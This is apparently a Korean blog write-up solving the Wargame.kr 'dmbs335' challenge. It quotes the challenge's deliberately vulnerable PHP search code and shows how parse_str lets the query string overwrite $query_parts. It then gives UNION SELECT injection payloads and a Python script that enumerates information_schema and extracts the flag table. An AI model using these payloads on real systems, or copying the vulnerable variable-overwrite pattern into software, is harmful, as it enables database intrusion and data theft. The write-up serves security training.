Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.
이번 포스트에서는 dmbs335 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.
이번에는 생각보다 간단하지만, 어느정도 PHP 코드의 분석이 필요한 문제입니다.
문제를 풀어보도록 하겠습니다.
문제는 다음과 같습니다.
여기서 문제를 보면, SQL Injection 문제라고 나옵니다.
그리고 문제로 들어가면 다음과 같이 테이블이 나오게 됩니다.
쿼리는 GET 방식으로 search_cols, keyword, operator가 있고, 소스도 보여줍니다.
소스는 다음과 같습니다.
<?php
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}
include("../lib.php");
include("./inc.php"); // Database Connected
function getOperator(&$operator) {
switch($operator) {
case 'and':
case '&&':
$operator = 'and';
break;
case 'or':
case '||':
$operator = 'or';
break;
default:
$operator = 'or';
break;
}}
if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
exit('not allowed');
}
parse_str($_SERVER['QUERY_STRING']);
getOperator($operator);
$keyword = addslashes($keyword);
$where_clause = '';
if(!isset($search_cols)) {
$search_cols = 'subject|content';
}
$cols = explode('|',$search_cols);
foreach($cols as $col) {
$col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : '';
if($col) {
$query_parts = $col . " like '%" . $keyword . "%'";
}
if($query_parts) {
$where_clause .= $query_parts;
$where_clause .= ' ';
$where_clause .= $operator;
$where_clause .= ' ';
$query_parts = '';
}
}
if(!$where_clause) {
$where_clause = "content like '%{$keyword}%'";
}
if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) {
$len = strlen($where_clause) - (strlen($operator) + 2);
$where_clause = substr($where_clause, 0, $len);
}
?>
<style>
td:first-child, td:last-child {text-align:center;}
td {padding:3px; border:1px solid #ddd;}
thead td {font-weight:bold; text-align:center;}
tbody tr {cursor:pointer;}
</style>
<br />
<table border=1>
<thead>
<tr><td>Num</td><td>subject</td><td>content</td><td>writer</td></tr>
</thead>
<tbody>
<?php
$result = mysql_query("select * from board where {$where_clause} order by idx desc");
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>{$row['idx']}</td>";
echo "<td>{$row['subject']}</td>";
echo "<td>{$row['content']}</td>";
echo "<td>{$row['writer']}</td>";
echo "</tr>";
}
?>
</tbody>
<tfoot>
<tr><td colspan=4>
<form method="">
<select name="search_cols">
<option value="subject" selected>subject</option>
<option value="content">content</option>
<option value="content|content">subject, content</option>
<option value="writer">writer</option>
</select>
<input type="text" name="keyword" />
<input type="radio" name="operator" value="or" checked /> or
<input type="radio" name="operator" value="and" /> and
<input type="submit" value="SEARCH" />
</form>
</td></tr>
</tfoot>
</table>
<br />
<a href="./?view-source">view-source</a><br />
먼저 42번 째 줄을 보면, 만약 $col의 값이 subject나 content 혹은 writer가 아니면 빈 문자열을 반환합니다.
즉, 정상적인 요청일 때는 seach_cols에는 content, subject, writer 등의 값이 들어있어야 합니다.
그리고 해당 값이 있다면 $query_parts라는 값에 적절한 값이 세팅됩니다.
여기서 취약한 부분이 어디인지 찾아보았는데, parse_str함수를 통해 $_SERVER['QUERY_STRING'] 값을 파싱한다는 부분입니다.
_SERVER['QUERY_STRING']은 우리가 POST든 GET이든 값을 넘겨주게 되면, 해당 값으로 변수를 채운다는 뜻입니다.
만약 GET으로 ?data=abcd&id=identification 이렇게 값을 넘겨줬다면
$data에는 'abcd'라는 값이,
$id에는 'identification'이라는 값이 들어가게 됩니다.
이와 같이 넘어온 값을 변수에 채워주게 되는데, 이러한 부분이 취약점이 될 수 있습니다.
위의 문제를 풀기 위해서는 우리가 임의로 특정 영역에 값을 넣어줄 수 있다는 점, 그리고 그 값이 변경되지 않도록 할 수 있는 부분이 있는가에 대한 확인이 필요합니다.
1. 특정 영역에 값을 넣을 수 있는 건 _SERVER['QUERY_STRING']이라는 코드가 있기 때문
2. 우리가 입력한 값이 SQL Injection이 되도록 변경이 되지 않고 잘 삽입될 수 있는지 확인은 코드를 분석해야 함
우리는 keyword든, where_clause든, query_parts, operator, cols 등에 값을 넣을 수 있습니다.
이는 _SERVER['QUERY_STRING'] 이라는 코드가 있기 때문입니다.
변수에 값을 넣어주는 쿼리는 다음과 같이 할 수 있습니다.
http://wargame.kr:8080/dmbs335/?where_clause=1&cols=1&query_parts=1&search_cols=1&keyword=1&operator=or
|
우리가 입력한 값이 변경되지 않고 잘 삽입될 수 있는가
|
우리가 코드에서 삽입할 수 있는 변수들의 목록을 살펴볼 때, 다음과 같은 코드는 무조건 다른 값으로 매꿔지는 것을 볼 수 있습니다.
11번 라인 $operator(값이 무조건 치환되도록 하였음)
33번 라인 $where_clause(값이 빈 문자열로 치환되도록 하였음)
39번 라인 $cols(값이 들어 있든 없든, 분할되어 Array로 바뀜)
여기서 우리는 $len, $query_parts를 이용할 수 있겠다 싶지만, SQL문에 직접 삽입되는 코드는 query_parts 뿐임을 알 수 있습니다.
query_parts 변수에 값을 넣어서 변하지 않도록 하기 위해서는 43번 라인이 실행되면 안 됩니다.
즉, $col에 값이 들어있지 않아야 하며, 이를 위해서는 seach_cols에 subject, content, writer 등의 문자가 없어야 함을 의미합니다.
여기서 위와 같은 조건을 맞춰준다면 다음과 같은 SQL 문이 들어가게 됨을 예상할 수 있습니다.
select * from board where {$query_parts} order by idx desc
위의 값에 $query_parts 부분에는 원래 $where_clause가 들어가게 되는데, 만약 col에 적절한 값이 들어가 있지 않다면,
43번 if문이 실행되지 않고, 우리가 입력한 query_parts 값이 where_clause에 들어가게 됩니다.
그리고 59 ~ 62 라인의 코드에서 $where_clause 값을 적절한 쿼리로 만들어줍니다.(뒤에 붙는 $operator 값을 제거함)
여기서 각각 다음과 같이 입력해보도록 합시다.
query_parts(unquote) : 0 union select 1,2,3,4#
query_parts(quote) : 0%20union%20select%201,2,3,4%23
search_cols : 1
그러면 다음과 같은 값을 뱉어냅니다.
허허허허허허 개꾸르
Injection이 가능하다는 것을 볼 수 있습니다.
여기서 싱글 쿼터, 더블 쿼터 모두 필터링이 되어 있지 않기 때문에 다음과 같이 information_schema 값을 쭈욱 뽑아낼 수 있습니다.
편하게 해보려고 불편한 코드를 작성해보았습니다.
import requests
import re
requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'http://wargame.kr:8080/dmbs335/'
query_works = False
# Test to Query if it works ==========================
# id = admin
# not filtered single quote....
# search_cols must not have the words; 'subject' or 'content'
query_parts = '1'
search_cols = '1'
keyword = '1'
payload = "?query_parts={}&search_cols={}&keyword={}&operator=or".format(
query_parts, search_cols, keyword)
res = sess.get(url=URL+payload, verify=False)
if len(res.text) > 945:
query_works = True
else:
query_works = False
print('[=] query_works : ', query_works)
print('[=] res.text len : ', len(res.text))
# GET table_schema and table_name ==========================
# < td> tag parsing regex
regex = r"< td>(.+?)< /td>"
query_parts = '0 union select 1,table_schema,table_name,4 from information_schema.tables%23'
search_cols = '1'
keyword = '1'
payload = "?query_parts={}&search_cols={}&keyword={}&operator=or".format(
query_parts, search_cols, keyword)
res = sess.get(url=URL+payload, verify=False)
pos = res.text.find('< tbody>')
data = res.text[pos:]
re_list = re.findall(regex, data)[:4]
count = 0
print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-')
print('{} : {}'.format('1', re_list[count + 0]))
print('{} : {}'.format('table_name', re_list[count + 1]))
print('{} : {}'.format('column_name', re_list[count + 2]))
print('{} : {}'.format('4', re_list[count + 3]))
count+=4
# GET table_name and column_name ==========================
# < td> tag parsing regex
regex = r"< td>(.+?)< /td>"
query_parts = '0 union select 1,table_name,column_name,4 from information_schema.columns where table_name=\'Th1s_1s_Flag_tbl\'%23'
search_cols = '1'
keyword = '1'
payload = "?query_parts={}&search_cols={}&keyword={}&operator=or".format(
query_parts, search_cols, keyword)
res = sess.get(url=URL+payload, verify=False)
pos = res.text.find('< tbody>')
data = res.text[pos:]
re_list = re.findall(regex, data)[:4]
count = 0
print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-')
print('{} : {}'.format('1', re_list[count + 0]))
print('{} : {}'.format('table_name', re_list[count + 1]))
print('{} : {}'.format('column_name', re_list[count + 2]))
print('{} : {}'.format('4', re_list[count + 3]))
count+=4
# GET column_name and column_data ==========================
# < td> tag parsing regex
regex = r"< td>(.+?)< /td>"
query_parts = '0 union select 1,2,f1ag,4 from dmbs335.Th1s_1s_Flag_tbl%23'
search_cols = '1'
keyword = '1'
payload = "?query_parts={}&search_cols={}&keyword={}&operator=or".format(
query_parts, search_cols, keyword)
res = sess.get(url=URL+payload, verify=False)
pos = res.text.find('< tbody>')
data = res.text[pos:]
re_list = re.findall(regex, data)[:4]
count = 0
print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-')
print('{} : {}'.format('1', re_list[count + 0]))
print('{} : {}'.format('2', re_list[count + 1]))
print('{} : {}'.format('column_data', re_list[count + 2]))
print('{} : {}'.format('4', re_list[count + 3]))
count+=4
끝!